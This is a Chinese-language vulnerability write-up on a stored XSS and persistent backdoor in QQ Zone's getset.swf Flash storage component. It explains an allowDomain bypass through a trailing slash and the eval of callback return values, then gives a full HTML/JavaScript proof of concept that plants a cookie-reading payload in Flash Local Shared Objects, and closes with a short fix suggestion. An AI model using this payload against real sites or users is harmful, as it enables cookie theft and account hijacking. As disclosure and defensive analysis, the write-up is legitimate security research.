QQ空间存储XSS (以及持久后门)漏洞分析及修复方案

  • A+
所属分类:黑白之道

 

QQ空间存储XSS (以及持久后门)漏洞分析及修复方案

一. 背景

(本来我前面有个漏洞已经分析过,但还未公开,为了腾讯的工作人员确认方便,再描述一遍)
关于flash的XSS,除了常见的一些技巧外,目前已知的比较偏门的两类是:
1.ExternalInterface.call的第二个参数,主要利用/",catch(e){}//,wooyun上有很多例子
2.在IE下,当flash调用ExternalInterface.addCallback时,如果object的id可控,可造成xss.这个比较少见,但gainover,p.z,心伤的瘦子几位大牛都给出过实例。
但需要注意的是:当js调用flash暴露出来的callback时,返回值也是一个敏感点!这个并没有看到有人提及,也许被很多人忽视了.
首先来看看js是如何处理flash的callback的:
1.在ie下,其实是
eval(instance.CallFunction("<invoke name=/""+name+"/" returntype=/"javascript/">" + __flash__argumentsToXML(arguments,0) + "</invoke>"));

 

2.在FF与Chrome等其他浏览器下,其实是
eval(var __flash_temp = "returned value"; __flash_temp;)
注意到这里都调用了eval,再结合ExternalInterface.call的那个/"过滤不全的利用方法, 这个利用方式也就呼之欲出了.
所以只要js中调用了callback函数,而返回值又可被攻击者控制的话,就可以造成xss. IE, Chrome, FF等浏览器均受影响。注意:仅仅读取这个动作就会触发XSS,与读取后如何处置无关。
而这个知识点再结合Flash的Local Shared Object,就有了一个固定的利用套路:如果网站通过js调用了flash添加的回调函数get(xxx),从而读取保存着用户LSO中的数据时,只要这个LSO数据可被攻击者篡改,就可以造成XSS。
二.环境与分析
访问用户qq空间时,会自动加载一个getset.swf
http://qzs.qq.com/qzone/v5/toolpages/getset.swf
然后会调用这个flash的callback函数get,来读取一些保存在LSO中配置,读取时所使用的key如下:
匿名用户访问某空间首页:_widhot_first_clickTime0
登陆用户访问某空间首页:_widhot_first_clickTime+登陆的qq号
登陆用户访问某空间日志:blogfont, hidesign, searchOption等
这个getset.swf的关键代码如下:
var my_so = SharedObject.getLocal("qzone");    function _set(n, v) {        my_so.data[n] = v;    }    function _get(n) {        return(my_so.data[n]);    }        function _interface() {        var _local2 = flash.external.ExternalInterface.call("getShareObjectPrefix");        System.security.allowDomain("user.qzone.qq.com");        System.security.allowDomain("imgcache.qq.com");        System.security.allowDomain("qzml.qq.com");        System.security.allowDomain(_local2 + ".qzone.qq.com");        flash.external.ExternalInterface.addCallback("set", this, _set);        flash.external.ExternalInterface.addCallback("get", this, _get);}

 

可见通过get读取,通过set写入。到此未知,我们似乎已经找到了一种攻击的办法,只要我们在一个流量较大的网页内,引入这个getset.swf,通过set函数来修改访问者电脑里的LSO数据,当访问者将来访问QQ空间时,就触发XSS(当然在网吧直接物理修改文件也是可行的)。
但远程攻击还有一个重要的拦路虎:domainA的网页要调用domainB的flash的callback函数,需要flash中调用allowDomain(*)或者allowDomain(domainA)来授权。而这里这个flash只授权了qzone.qq.com等一系列的domain,除非我们能找到这些domain上的存储XSS。(这里同样也是一个提升存储XSS持久性与影响范围的利用技巧,同样因为Callback的机制)
但请注意这行代码:
var _local2 = flash.external.ExternalInterface.call("getShareObjectPrefix");System.security.allowDomain(_local2 + ".qzone.qq.com");

 

domainA的网页加载domainB的Flash后,Flash会调用domainA页面内的getShareObjectPrefix函数(这个是受allowScriptAccess控制的),如果此时domainA页面里的这个函数返回一个domainA+'/',那么回到Flash,就变成了
System.security.allowDomain("domainA/.qzone.qq.com");
这个斜线就屏蔽了后面的qzone.qq.com,从而domainA也被授权调用该Flash的callback函数。
三.POC
这里给出简单的POC(渣代码见谅),这里domainA就是127.0.0.1,而domainB是qzs.qq.com,需要在127.0.0.1下访问该页面,需要等待5秒,弹出OK后,本地LSO才被修改完毕。(当然127.0.0.1也可以修改为其他domain)
这个POC仅仅修改了匿名用户访问空间首页时自动读取的LSO key,以及登陆用户访问空间后查看日志时自动读取的一个LSO key。由于QQ空间可能还有很多其他读取LSO的key,所以整体上应该有很多触发点,当然有些key是定向的,有些key是通用的。
<html><body><object id="getset" tabindex="-1" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">       <param name="movie" value="http://qzs.qq.com/qzone/v5/toolpages/getset.swf">       <param name="allowScriptAccess" value="always">       <embed name="getset" src="http://qzs.qq.com/qzone/v5/toolpages/getset.swf" width="1" height="1" allowscriptaccess="always" flashvars="jsproxyfunction=test" type="application/x-shockwave-flash" pluginspage="http://www.adobe.com/go/getflashplayer"></object><script>function getShareObjectPrefix(){return "127.0.0.1/";}setTimeout('myset()', 5000);function myset(){document['getset'].set('_widhot_first_clickTime0','aa//";alert(document.cookie)//aa');document['getset'].set('blogfont','aa//";alert(document.cookie)//aa');document['getset'].flush();alert('ok');}</script>

修复方案:
考虑到远程与物理两种篡改LSO的方式,allowDomain与callback的返回值可能都得检查

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: